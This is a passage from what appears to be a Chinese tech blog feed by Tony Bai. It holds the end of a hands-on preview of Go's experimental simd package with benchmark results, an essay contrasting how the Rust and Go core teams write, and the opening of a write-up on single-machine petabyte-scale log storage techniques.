cmd/compile/internal/ssagen/simdintrinsics.go）等核心 Go 代码。\n这种声明式的实现方式，极大地保证了 API 的一致性和可维护性，也为未来支持更多指令集和架构（如 ARM Neon/SVE）打下了坚实基础。\n2. simd 包 API 设计一览 预览版的 simd 包 API 设计处处体现着 Go 的哲学：\n向量类型 (Vector Types): 向量被定义为具名的、架构特定的 struct，如 simd.Float32x4、simd.Uint8x16。这些是 Go 的一等公民，可以作为函数参数、返回值或结构体字段。\n数据加载与存储 (Load/Store): 提供了从 Go 切片或数组指针加载数据到向量寄存器，以及将向量寄存器数据存回内存的方法。\n// 从切片加载 8 个 float32 到一个 256 位向量 func LoadFloat32x8Slice(s []float32) Float32x8 // 将一个 256 位向量存储回切片 func (x Float32x8) StoreSlice(s []float32) 内在函数即方法 (Intrinsics as Methods): 所有 SIMD 操作都设计为对应向量类型的方法，可读性极强。 // 向量加法 func (x Float32x8) Add(y Float32x8) Float32x8 // 向量乘法 func (x Float32x8) Mul(y Float32x8) Float32x8 每个方法的文档注释中都清晰地标明了其对应的汇编指令和所需的 CPU 特性，兼顾了易用性和专业性。\n掩码类型 (Mask Types): 对于需要条件执行的 SIMD 操作，包中定义了不透明的掩码类型，如 Mask32x4。比较操作会返回掩码，而掩码可以用于 Masked 或 Merge 等操作。\nCPU 特性检测: 包内提供了 simd.HasAVX2()、simd.HasAVX512() 等函数，用于在运行时检测当前 CPU 是否支持特定的指令集。这一点至关重要。\n上手实战：一个充满陷阱的旅程 理论千遍，不如动手一试。我们通过实践来直观感受 simd 包的威力，但也要小心它层层递进的陷阱。\n搭建环境 首先，你需要下载并构建 dev.simd 分支的 Go 工具链：\n$go install golang.org/dl/gotip@latest $gotip download dev.simd 后续所有操作都应使用 gotip 命令。\n陷阱一：小心你的机器不支持某种SIMD指令 我们以一个简单的点积（Dot Product）算法开始。\n先写一个标量版本作为基准：\n// dot-product1/dot_scalar.go package main func dotScalar(a, b []float32) float32 { var sum float32 for i := range a { sum += a[i] * b[i] } return sum } 然后，满怀期待地写下基于 AVX2 的 256 位 SIMD 版本：\n// dot-product1/dot_simd.go package main import \u0026#34;simd\u0026#34; const VEC_WIDTH = 8 // 使用 AVX2 的 Float32x8，一次处理 8 个 float32 func dotSIMD(a, b []float32) float32 { var sumVec simd.Float32x8 // 累加和向量，初始为全 0 lenA := len(a) // 处理能被 VEC_WIDTH 整除的主要部分 for i := 0; i \u0026lt;= lenA-VEC_WIDTH; i += VEC_WIDTH { va := simd.LoadFloat32x8Slice(a[i:]) vb := simd.LoadFloat32x8Slice(b[i:]) // 向量乘法，然后累加到 sumVec sumVec = sumVec.Add(va.Mul(vb)) } // 将累加和向量中的所有元素水平相加 var sumArr [VEC_WIDTH]float32 sumVec.StoreSlice(sumArr[:]) var sum float32 for _, v := range sumArr { sum += v } // 处理剩余的尾部元素 for i := (lenA / VEC_WIDTH) * VEC_WIDTH; i \u0026lt; lenA; i++ { sum += a[i] * b[i] } return sum } 然后，我们创建一个基准测试来对比两者的性能：\n// dot-product1/dot_test.go package main import ( \u0026#34;math/rand\u0026#34; \u0026#34;testing\u0026#34; ) func generateSlice(n int) []float32 { s := make([]float32, n) for i := range s { s[i] = rand.Float32() } return s } var ( sliceA = generateSlice(4096) sliceB = generateSlice(4096) ) func BenchmarkDotScalar(b *testing.B) { for i := 0; i \u0026lt; b.N; i++ { dotScalar(sliceA, sliceB) } } func BenchmarkDotSIMD(b *testing.B) { for i := 0; i \u0026lt; b.N; i++ { dotSIMD(sliceA, sliceB) } } 当我们在一个不支持 AVX2 指令集的 CPU 上（例如我的虚拟机底层是Intel Xeon E5 v2 “Ivy Bridge”，仅支持avx，不支持avx2）运行测试时，我们会得到下面结果：\ngotip test -bench=. -benchmem goos: linux goarch: amd64 pkg: demo cpu: Intel(R) Xeon(R) CPU E5-2695 v2 @ 2.40GHz BenchmarkDotScalar-2 394350 3039 ns/op 0 B/op 0 allocs/op SIGILL: illegal instruction PC=0x525392 m=3 sigcode=2 instruction bytes: 0xc5 0xf5 0xef 0xc9 0x31 0xd2 0xeb 0x1c 0xc5 0xfe 0x6f 0x12 0xc4 0xc1 0x7e 0x6f goroutine 7 gp=0xc000007340 m=3 mp=0xc00003f008 [running]: demo.dotSIMD({0xc0000d4000?, 0x47b12e?, 0xc00003aee8?}, {0xc0000d8000?, 0xc00003af00?, 0x4d5d12?}) /root/test/simd/dot-product1/dot_simd.go:9 +0x12 fp=0xc00003aec8 sp=0xc00003ae78 pc=0x525392 demo.BenchmarkDotSIMD(0xc0000ee588) /root/test/simd/dot-product1/dot_test.go:30 +0x4b fp=0xc00003af10 sp=0xc00003aec8 pc=0x52552b testing.(*B).runN(0xc0000ee588, 0x1) /root/sdk/gotip/src/testing/benchmark.go:219 +0x190 fp=0xc00003afa0 sp=0xc00003af10 pc=0x4d60f0 testing.(*B).run1.func1() ... ... 这就是 SIMD 编程的第一个铁律：代码的正确性依赖于硬件特性。 我们可以通过 lscpu | grep avx2 命令来检查 CPU 是否支持 AVX2。\n陷阱二：为何我的 SIMD 不够快？内存瓶颈之谜 吸取教训后，我们为仅支持 AVX 的 CPU 编写了 128 位的 dotSIMD_AVX 版本：\n// dot-product2/dot_simd.go package main import \u0026#34;simd\u0026#34; // AVX2 版本，使用 256-bit 向量 func dotSIMD_AVX2(a, b []float32) float32 { const VEC_WIDTH = 8 // 使用 Float32x8 var sumVec simd.Float32x8 lenA := len(a) for i := 0; i \u0026lt;= lenA-VEC_WIDTH; i += VEC_WIDTH { va := simd.LoadFloat32x8Slice(a[i:]) vb := simd.LoadFloat32x8Slice(b[i:]) sumVec = sumVec.Add(va.Mul(vb)) } var sumArr [VEC_WIDTH]float32 sumVec.StoreSlice(sumArr[:]) var sum float32 for _, v := range sumArr { sum += v } for i := (lenA / VEC_WIDTH) * VEC_WIDTH; i \u0026lt; lenA; i++ { sum += a[i] * b[i] } return sum } // AVX 版本，使用 128-bit 向量 func dotSIMD_AVX(a, b []float32) float32 { const VEC_WIDTH = 4 // 使用 Float32x4 var sumVec simd.Float32x4 lenA := len(a) for i := 0; i \u0026lt;= lenA-VEC_WIDTH; i += VEC_WIDTH { va := simd.LoadFloat32x4Slice(a[i:]) vb := simd.LoadFloat32x4Slice(b[i:]) sumVec = sumVec.Add(va.Mul(vb)) } var sumArr [VEC_WIDTH]float32 sumVec.StoreSlice(sumArr[:]) var sum float32 for _, v := range sumArr { sum += v } for i := (lenA / VEC_WIDTH) * VEC_WIDTH; i \u0026lt; lenA; i++ { sum += a[i] * b[i] } return sum } // 调度函数 func dotSIMD(a, b []float32) float32 { if simd.HasAVX2() { return dotSIMD_AVX2(a, b) } // 注意：AVX是x86-64-v3的一部分，现代CPU普遍支持。 // 为简单起见，这里假设AVX可用。生产代码中可能需要更细致的检测。 return dotSIMD_AVX(a, b) } 然而，在同样的老 CPU 上再次运行测试后，却惊奇地发现，性能与标量版本几乎没有差别，甚至更差：\n$gotip test -bench=. -benchmem goos: linux goarch: amd64 pkg: demo cpu: Intel(R) Xeon(R) CPU E5-2695 v2 @ 2.40GHz BenchmarkDotScalar-2 384015 3064 ns/op 0 B/op 0 allocs/op BenchmarkDotSIMD-2 389670 3171 ns/op 0 B/op 0 allocs/op PASS ok demo 2.485s 这就是 SIMD 编程的第二个陷阱：SIMD 只能加速计算，无法加速内存访问。\n对于 a[i] * b[i] 这种简单的操作，CPU 绝大部分时间都在等待数据从内存加载到寄存器。瓶颈在内存带宽，而非计算单元。因此，即使 SIMD 将计算速度提升 4 倍，总耗时也几乎不变。\n实战进阶：在正确的场景释放威力 要想真正看到 SIMD 的威力，我们需要找到计算密集型 (Compute-Bound) 的任务。一个经典例子是多项式求值 (Polynomial Evaluation)，它拥有很高的计算/内存访问比。\n下面，我们为一个三阶多项式 y = 2.5x³ + 1.5x² + 0.5x + 3.0 编写一个完全 AVX 兼容的 SIMD 实现。\n完整示例代码 下面时多项式计算的普通实现和simd实现：\n// poly/poly.go package main import \u0026#34;simd\u0026#34; // Coefficients for our polynomial: y = 2.5x³ + 1.5x² + 0.5x + 3.0 const ( c3 float32 = 2.5 c2 float32 = 1.5 c1 float32 = 0.5 c0 float32 = 3.0 ) // polynomialScalar is the standard Go implementation, serving as our baseline. // It uses Horner\u0026#39;s method for efficient calculation. func polynomialScalar(x []float32, y []float32) { for i, val := range x { res := (c3*val+c2)*val + c1 y[i] = res*val + c0 } } // polynomialSIMD_AVX uses 128-bit AVX instructions to process 4 floats at a time. func polynomialSIMD_AVX(x []float32, y []float32) { const VEC_WIDTH = 4 // 128 bits / 32 bits per float = 4 lenX := len(x) // Broadcast scalar coefficients to vector registers. // IMPORTANT: We manually create slices and use Load to avoid functions // like BroadcastFloat32x4 which might internally depend on AVX2. vc3 := simd.LoadFloat32x4Slice([]float32{c3, c3, c3, c3}) vc2 := simd.LoadFloat32x4Slice([]float32{c2, c2, c2, c2}) vc1 := simd.LoadFloat32x4Slice([]float32{c1, c1, c1, c1}) vc0 := simd.LoadFloat32x4Slice([]float32{c0, c0, c0, c0}) // Process the main part of the slice in chunks of 4. for i := 0; i \u0026lt;= lenX-VEC_WIDTH; i += VEC_WIDTH { vx := simd.LoadFloat32x4Slice(x[i:]) // Apply Horner\u0026#39;s method using SIMD vector operations. // vy = ((vc3 * vx + vc2) * vx + vc1) * vx + vc0 vy := vc3.Mul(vx).Add(vc2) vy = vy.Mul(vx).Add(vc1) vy = vy.Mul(vx).Add(vc0) vy.StoreSlice(y[i:]) } // Process any remaining elements at the end of the slice. for i := (lenX / VEC_WIDTH) * VEC_WIDTH; i \u0026lt; lenX; i++ { val := x[i] res := (c3*val+c2)*val + c1 y[i] = res*val + c0 } } 测试文件的代码如下：\n// poly/poly_test.go package main import ( \u0026#34;math\u0026#34; \u0026#34;math/rand\u0026#34; \u0026#34;testing\u0026#34; ) const sliceSize = 8192 var ( sliceX []float32 sliceY []float32 // A slice to write results into ) func init() { sliceX = make([]float32, sliceSize) sliceY = make([]float32, sliceSize) for i := 0; i \u0026lt; sliceSize; i++ { sliceX[i] = rand.Float32() * 2.0 // Random floats between 0.0 and 2.0 } } // checkFloats compares two float slices for near-equality. func checkFloats(t *testing.T, got, want []float32, tolerance float64) { t.Helper() if len(got) != len(want) { t.Fatalf(\u0026#34;slices have different lengths: got %d, want %d\u0026#34;, len(got), len(want)) } for i := range got { if math.Abs(float64(got[i]-want[i])) \u0026gt; tolerance { t.Errorf(\u0026#34;mismatch at index %d: got %f, want %f\u0026#34;, i, got[i], want[i]) return } } } // TestPolynomialCorrectness ensures the SIMD implementation matches the scalar one. func TestPolynomialCorrectness(t *testing.T) { yScalar := make([]float32, sliceSize) ySIMD := make([]float32, sliceSize) polynomialScalar(sliceX, yScalar) polynomialSIMD_AVX(sliceX, ySIMD) // Use a small tolerance for floating point comparisons. checkFloats(t, ySIMD, yScalar, 1e-6) } func BenchmarkPolynomialScalar(b *testing.B) { b.ReportAllocs() for i := 0; i \u0026lt; b.N; i++ { polynomialScalar(sliceX, sliceY) } } func BenchmarkPolynomialSIMD_AVX(b *testing.B) { b.ReportAllocs() for i := 0; i \u0026lt; b.N; i++ { polynomialSIMD_AVX(sliceX, sliceY) } } 性能基准测试结果 这次，在仅支持 AVX 的 CPU 上运行 GOEXPERIMENT=simd gotip test -bench=. -benchmem，我们得到了还算不错的结果：\n$gotip test -bench=. -benchmem goos: linux goarch: amd64 pkg: demo cpu: Intel(R) Xeon(R) CPU E5-2695 v2 @ 2.40GHz BenchmarkPolynomialScalar-2 73719 16110 ns/op 0 B/op 0 allocs/op BenchmarkPolynomialSIMD_AVX-2 153007 8378 ns/op 0 B/op 0 allocs/op PASS ok demo 2.723s 结果清晰地显示，SIMD 版本带来了大约2倍的性能提升！这证明了，在正确的场景下，Go 原生 SIMD 的确能够大幅地加速我们的程序。\n小结 Go 官方对 SIMD 的原生支持，无疑是 Go 语言发展中的一个重要里程碑。通过预览底层 simd 包，我们看到了 Go 团队一贯的务实与智慧：\n拥抱现代硬件： 为 Go 程序解锁了底层硬件的全部潜力。 坚持 Go 哲学： 以类型安全、代码可读、对开发者友好的方式封装了复杂的底层指令。 稳健的演进路线： 通过“两层抽象”的设计，为未来的高层可移植 API 奠定了坚实基础。 然而，这次初探也教会了我们重要的一课：SIMD 并非普适的银弹，且陷阱重重。 要想安全、有效地利用这份强大的能力，我们必须承担起新的责任：\n理解硬件： 了解目标平台的 CPU 特性，通过 lscpu | grep avx2 等命令进行检查。 仔细阅读文档： 必须核实每个 simd 函数的确切 CPU Feature 要求，不能仅凭向量宽度做判断。 编写防御性代码： 始终使用特性检测来保护 SIMD 代码路径，并提供回退方案。 分析负载瓶颈： 仅在计算密集型任务中应用 SIMD，才能获得显著的性能回报。 当然，目前的 simd 包仍处于早期实验阶段，API 尚不完整，编译器优化也在进行中。但它所展示的方向是清晰而激动人心的。未来，随着高层可移植 API 的推出，以及对 ARM SVE 等可伸缩向量扩展的支持，Go 在 AI、数据科学、游戏开发等高性能领域的竞争力将得到空前加强。\n我们鼓励所有对性能有极致追求的 Go 开发者，立即下载 dev.simd 分支，在自己的场景中进行实验，并向 Go 团队提供宝贵的反馈。你的每一次尝试，都在为塑造 Go 语言的下一个性能巅峰贡献力量。\n本文涉及的示例源码可以从这里下载 – https://github.com/bigwhite/experiments/tree/master/simd-preview\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/22/go-simd-package-preview/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-simd-package-preview-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/22/go-simd-package-preview\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/22/go-simd-package-preview\"\u003ehttps://tonybai.com/2025/08/22/go-simd-package-preview\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e多年以来，对于追求极致性能的 Go 开发者而言，心中始终有一个“痛点”：当算法需要压榨 CPU 的最后一点性能时，唯一的选择便是“下降”到\u003ca href=\"https://tonybai.com/2024/07/21/simd-in-go/\"\u003e手写汇编\u003c/a\u003e，这让利用 SIMD (Single Instruction, Multiple Data) 指令集提升程序性能这条路显得尤为陡峭难行。\u003c/p\u003e","title":"解锁 CPU 终极性能：Go 原生 SIMD 包预览版初探"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/21/go-rust-official-voices\n大家好，我是Tony Bai。\n最近，在阅读 Rust 核心团队负责人 Niko Matsakis 庆祝十周年的系列博文时，我注意到了一个有趣的现象。我下意识地将他的文字，与我长期关注的 Go语言之父Rob Pike以及Go 团队前技术负责人 Russ Cox 的文章放在一起对比。\n这时我发现，两者窗外的风景截然不同。\n一边，Niko Matsakis 这样写道：\n“Graydon（Rust创始人）为我们设定了正确的‘北极星’……‘是的，我们可以拥有好东西’，我常这么想。这句话也捕捉到了 Rust 的另一种特质，那就是试图挑战关于‘权衡’的传统智慧。”\n另一边，Russ Cox 在一篇关于 Go 模块依赖的重要文章中，开篇即是：\n“本文定义了 Go 模块，这是对 go get 命令支持的版本化依赖的提议。这篇文章是七篇文章中的第一篇，描述了一个关于版本化 Go 的全面提案。”\n可以看到，一种声音像一位哲学家，在讨论愿景和原则；另一种，则像一位总工程师，直接给出工程计划。\n这并非偶然的文笔差异。\n一门编程语言核心团队的写作风格，不只是表面的文字选择，而是其设计哲学、治理模式和社区文化的直接反映。 它在很大程度上预示了这门语言的演进方向，以及它最终会吸引哪一类开发者。\n今天，我想和你一起分析这两种迥异的“官方之声”，并尝试回答一个核心问题：\n在 Rust 的哲学思辨与 Go 的工程决断之间，究竟隐藏着怎样的语言灵魂与未来？\nRust 的“探索式叙事”——在复杂世界中寻求赋能 如果你长期阅读 Rust 官方博客或 Niko Matsakis 的个人博客，会发现一种独特的叙事模式：愿景驱动，讨论权衡，社区对话。\nNiko 的“Rust 2025”系列，开篇并非罗列要实现的功能，而是先定义 Rust 的**“核心使命”**——赋能基础软件。他花了不少篇幅来构建一个叙事框架，用“北极星”来比喻指引方向的技术与文化原则，用“大力水手菠菜”来形容类型系统的作用，用“平滑的迭代式深化”来描述理想的用户体验。\n这种风格的背后，是对一个根本事实的承认：系统编程本身是复杂的。\nRust 的设计哲学，不是回避这种复杂性，而是正视它，并提供一套强大的工具去驾驭它。这套工具，就是其所有权系统、生命周期和 Trait 系统。\n这些工具无疑是复杂的，也带来了陡峭的学习曲线。但 Rust 官方文章的字里行间，总是在传达一个核心信念：这种复杂性，是为了换取一种前所未有的“赋能 (Empowerment)”。\n当你掌握了这些工具，你便能在编译器的帮助下，编写出兼具高性能、内存安全和高度抽象的代码。这是一种“先难后易”的设计。Rust 的文章，就像一位向导，它不否认前路复杂，但会耐心解释工具的用法，并清晰地展示目标达成后所能获得的能力，让你相信这种投入是值得的。\n这种“探索感”也体现在 Rust 的社区文化和治理模式上。\nNiko 在文章中反复使用 “我们 (we)” 这个词，而这个“我们”，指代的通常是整个 Rust 社区和所有贡献者。他乐于讲述 ACM 获奖名单难产的故事，以此来证明 Rust 的成功是“集体所有”的。\n这种对话式的风格，与其开放的 RFC (Request for Comments) 流程是一致的。任何重大的语言变更，都必须经过漫长、公开的社区讨论。Rust 的进化，是一个由全球开发者共同参与、自下而上推动的过程。\n所以，当你阅读 Rust 的“官方之声”时，你其实是在了解一个公开的设计讨论。它邀请你一起思考“什么是更好的软件”，并相信通过集体的智慧，能够不断接近理想的答案，哪怕过程充满思辨与权衡。\nGo 的“工程化叙事”——在现实世界中追求简洁 现在，让我们切换到 Go 的世界。\n如果你阅读 Russ Cox 或 Rob Pike 的文章，会立刻感受到一种截然不同的气息：问题驱动，逻辑清晰，方案明确。\nGo 的文章，几乎总是以一个具体的、待解决的工程问题开篇。无论是包管理的混乱，还是泛型的缺失，他们会用严谨的逻辑，一步步地分析问题背景、评估现有方案，最终给出一个经过深思熟虑的官方提案。\n这里没有宏大的比喻，取而代之的是清晰的数据、代码示例和对各种边界情况的分析。他们追求的不是思想的深邃，而是方案的**“显而易见 (obvious)”**。\n这种风格背后，是对另一个根本事实的坚守：大规模软件工程的核心挑战，是控制复杂性。\nGo 的设计哲学，可以概括为“规定性的简单性 (prescriptive simplicity)”。它相信，通过提供一个更小的工具集，并制定严格的工程规范（如 gofmt），可以显著降低团队协作的认知成本，从而提升整体生产力。\nGo 团队清楚，每一个新加入语言的特性，都是一种“复杂性预算”的支出。因此，他们对此极为审慎。泛型这个功能，Go 社区讨论了近十年，核心团队才最终拿出一个他们认为足够简单、不会破坏 Go 核心价值的方案。\n在这种哲学下，Go 的文章读起来就像一份工程白皮书。它不展示所有可能的路径，而是直接告诉你那条经过专家团队验证过，被认为最平坦、最宽阔的道路。它传递的核心信念是：“相信我们，这条路最简单直接，最能规模化。”\n这种“决断感”也体现在 Go 的治理模式上。\nGo 的演进，更多是由一小群核心专家（很多来自 Google）主导的“自上而下”模式。虽然他们也会通过提案流程征求社区反馈，但最终的决策权高度集中。文章中，“我们 (we)”这个词，更多时候指代的是 Go 核心团队。\n这种模式保证了 Go 的稳定性和向后兼容性，但也意味着语言的演进会更加保守。Go 的进化，更像是一系列精准解决现实问题的“外科手术”，而非一场开放式的探索。\n所以，当你阅读 Go 的“官方之声”时，你其实是在看一份来自顶级工程团队的技术报告。它不侧重于邀请你参与设计权衡，而是直接为你提供一个经过验证的、旨在解决你当前问题的最佳实践。\n文字的岔路口，语言的未来 这两种截然不同的叙事风格，如同两条岔路，清晰地预示了 Rust 和 Go 在未来演进道路上的不同选择。\nRust 的未来，将是一场对语言能力边界的持续探索。\n它会继续在“可扩展编译器”、“语言互操作”、“函数Traits”等领域，尝试为开发者提供更强大的“赋能”工具。它的进化过程将继续是思辨性的、社区驱动的，充满思想碰撞。这也可能意味着，它的学习曲线在短期内不会变得平缓，而重大的新特性，依然需要较长的讨论和共识周期。\nGo 的未来，则是一场稳健的工程建设。\n它将继续保持克制和实用主义。下一个重大变更，几乎可以肯定是为了解决大规模工程中出现的下一个具体痛点（比如，可感知NUMA的GC、对SIMD指令的内置支持等）。Go 会极力捍卫其“简单”的核心价值，避免任何可能导致语言心智模型复杂化的改动。它的进化将是可预测的、问题驱动的。\n在这里，我想提出一个或许能概括两者差异的观点：\nRust 试图通过提供复杂的工具，让你成为一个思考更周全、能力更强的程序员；而 Go 则试图通过提供简单的工具，让你立即成为一个在团队中高效协作的程序员。\n一个是授你以渔，但渔具复杂；一个是直接给你一条标准化的、足够好用的鱼竿。\n小结：开发者如何选择？——聆听与你共鸣的声音 到这里，我们已经清晰地看到，Rust 和 Go 的“官方之声”背后，是两套截然不同的世界观。\nRust 的世界观是赋能与驾驭： 它相信通过赋予开发者强大的工具，可以驾驭固有的复杂性，构建出理论上最优的软件。 Go 的世界观是约束与纪律： 它相信通过设定清晰的约束，可以消除不必要的复杂性，构建出工程上最稳健、最易于维护的软件。 那么，作为开发者，我们该如何选择？\n我的建议是，超越那些性能跑分和“Hello World”的语法对比，去读一读他们核心团队的文章吧。\n问问你自己：\n你是更倾向于一场开放式的、关于“可能性”的哲学讨论，还是更需要一份逻辑严密、直指问题核心的工程方案？ 你是在寻找一个与你一同探索复杂问题的“伙伴”，还是一个为你提供清晰建造指南的“总工程师”？ 这个问题的答案，可能比任何技术指标都更能决定你的项目能否成功、你的团队是否快乐。\n因为最终，我们选择一门编程语言，远不止是选择一个编译器和一套库。我们是在选择一个与之共鸣的社区，一套解决问题的世界观，一种塑造我们思维方式的技术文化。\n而这一切，早已写在了他们的字里行行间。\n你，听到了哪种声音的回响？\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/21/go-rust-official-voices/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-rust-official-voices-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/21/go-rust-official-voices\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/21/go-rust-official-voices\"\u003ehttps://tonybai.com/2025/08/21/go-rust-official-voices\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e最近，在阅读 \u003ca href=\"https://mp.weixin.qq.com/s/A5LtpMPUno9uolQ2QjY3bA\"\u003eRust 核心团队负责人 Niko Matsakis 庆祝十周年的系列博文\u003c/a\u003e时，我注意到了一个有趣的现象。我下意识地将他的文字，与我长期关注的 Go语言之父Rob Pike以及Go 团队前技术负责人 Russ Cox 的文章放在一起对比。\u003c/p\u003e","title":"哲学家与工程师：为何 Rust 和 Go 的“官方之声”如此不同？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/20/large-scale-logging-made-easy\n当日志规模达到 PB 级别，传统的关系型数据库（如 PostgreSQL 或 MySQL）往往力不从心，不仅性能急剧下降，运维成本也变得难以承受。在 FrOSCon 2025 大会上，VictoriaMetrics 的联合创始人兼CTO、fasthttp作者、资深 Go 工程师Aliaksandr Valialkin 发表了题为“大规模日志处理变得简单”的演讲，深入剖析了专为日志设计的数据库如何通过一系列精巧的工程设计，实现单机处理 PB 级数据的惊人性能。\n本文将和大家一起听演讲，并了解其分享的核心技术——包括列式存储、时间分区、日志流索引和布隆过滤器——并看看为什么这些技术能将日志查询速度从理论上的 70 小时超大幅缩短至 10 秒，以及为何传统数据库在这场竞赛中注定落败。\n什么是“大规模日志”？一个与时俱进的定义 在探讨解决方案之前，演讲者 Aliaksandr Valialkin 首先抛出了一个引人深思的问题：究竟什么是“大规模日志”？ 业界通常用每日的数据量来衡量，是 GB、TB 还是 PB？然而，这个定义是浮动的。Aliaksandr 提出了一个更具工程实践意义的定义，它将问题从抽象的数字拉回到了具体的物理约束上：\n当你的日志无法装入单台计算机时，它就达到了“大规模”。\n这个定义的巧妙之处在于，它将“规模”与具体的硬件能力和软件效率紧密地联系起来。一台搭载着普通硬盘、运行着 PostgreSQL 的服务器，可能在处理每日 GB 级日志时就会捉襟见肘。然而，一台配备了高速 NVMe 硬盘、拥有数百 CPU 核心和 TB 级内存的“巨兽”，在运行像 VictoriaLogs 这样的专用数据库时，其处理能力可能是前者的数千倍。在这种情况下，即便是每日 PB 级的日志，也可能不属于“大规模”的范畴。\n这个定义为我们接下来的讨论奠定了基础：在诉诸昂贵且复杂的分布式集群（水平扩展）之前，我们是否已经通过选择正确的工具，充分压榨了单机（垂直扩展）的潜力？\n单机处理 PB 级日志：一场从 70 小时到 10 秒的性能优化之旅 为了具象化地展示专用日志数据库的威力，演讲者构建了一个思想实验：在一台配备了顶级 NVMe 硬盘（理论持续读取速度 4 GB/s）的 Google Cloud 虚拟机上，查询 1 PB 的日志数据。\n起点：暴力扫描 (理论耗时: 70 小时) 如果我们将 1 PB 的原始日志直接存储在硬盘上，并进行一次全盘扫描，理论上需要的时间是：\n1 PB / 4 GB/s ≈ 1,048,576 GB / 4 GB/s ≈ 262,144 秒 ≈ 72.8 小时 这在任何生产环境中都是完全无法接受的查询延迟。\n第一步：高压缩率带来的飞跃 (理论耗时: 4.6 小时) 专用日志数据库的第一个魔法在于其惊人的数据压缩能力。根据 VictoriaLogs 用户的真实反馈，对于典型的结构化或半结构化日志，压缩比通常在8x 到 50x 之间。\n我们取一个相对保守的 16x 压缩比。这意味着 1 PB 的原始日志，可以被压缩到仅有 64 TB 的磁盘空间——这恰好是 Google Cloud 单个虚拟机可挂载的最大磁盘容量。\n此时，全盘扫描的时间大幅缩短：\n64 TB / 4 GB/s = 16,384 秒 ≈ 4.55 小时 这已经是一个巨大的进步，但对于即时的问题排查来说，仍然太慢。\n优化的核心基石：列式存储 (Columnar Storage) 传统关系型数据库（如 PostgreSQL, MySQL）采用行式存储 (Row-oriented Storage)。这意味着一张表中，同一行记录的所有字段（列）在物理上是连续存储的。\n[Row1: ColA, ColB, ColC] [Row2: ColA, ColB, ColC] ... 这种存储方式在处理事务性（OLTP）负载时非常高效，因为它能一次性读取或更新整条记录。但对于日志分析这种分析性（OLAP）负载，却是灾难性的。当一个查询只需要分析 ColA 字段时，数据库仍然被迫从磁盘上读取包含 ColB 和 ColC 的完整行数据，造成了大量的 I/O 浪费。\n专用日志数据库则借鉴了数据仓库的设计，采用列式存储 (Columnar Storage)：\n将结构化日志按字段（列）进行拆分，将所有日志中同一个字段的值物理上连续存储在一起。\n[ColA: Row1, Row2, ...] [ColB: Row1, Row2, ...] [ColC: Row1, Row2, ...] 这种设计的优势是颠覆性的：\nI/O 效率：当查询只涉及 ColA 和 ColB 时，数据库只需读取这两列的数据，完全跳过 ColC，I/O 量可以减少几个数量级。 压缩效率：同一列的数据具有极高的相似性。例如，log_level 列只包含 “info”, “warn”, “error” 等少数几个值；http_status 列只包含 200, 404, 500 等数字。将这些同质化的数据放在一起，其压缩效果远非混合了各种类型数据的行式存储可比。专用数据库还能根据每列的数据特征（如常量、枚举、时间戳、IP 地址等）自动选择最优的专用编码 (Specialized Codex)，进一步提升压缩率，有时甚至能达到上千倍。 回到我们的实验，假设查询只涉及所有日志字段中的一小部分，需要读取的数据量从 64 TB 减少到了 4 TB。查询时间随之骤降至：\n4 TB / 4 GB/s = 1024 秒 ≈ 17 分钟 仅仅列式存储还不够，为了避免全列扫描，还需要更智能的数据组织方式。\n第二步：按时间分区 (理论耗时: 1 分 40 秒) 日志数据天然带有强烈的时间属性。几乎所有的日志查询都会带上时间范围。专用日志数据库利用这一点，将数据按时间（例如，每小时或每天）进行物理分区。每个分区可以是一个独立的目录或文件。\n当一个查询带有 time \u0026gt; T1 AND time \u0026lt; T2 的条件时，数据库可以在查询开始前就完全跳过时间范围之外的所有数据分区，无需读取任何磁盘块。\n假设我们的服务保留了 30 天的日志，而我们的查询只关心其中 3 天的数据。需要扫描的数据量等比例减少 90%：\n4 TB * (3 / 30) = 400 GB 查询时间进一步缩短至：\n400 GB / 4 GB/s = 100 秒 ≈ 1 分 40 秒 第三步：按日志流 (Log Stream) 索引 (理论耗时: 10 秒) 另一个重要的日志维度是其来源。演讲者将“日志流”定义为来自单个应用实例的、按时间排序的日志序列。例如，在一个 Kubernetes 集群中，每个 pod 的每个 container 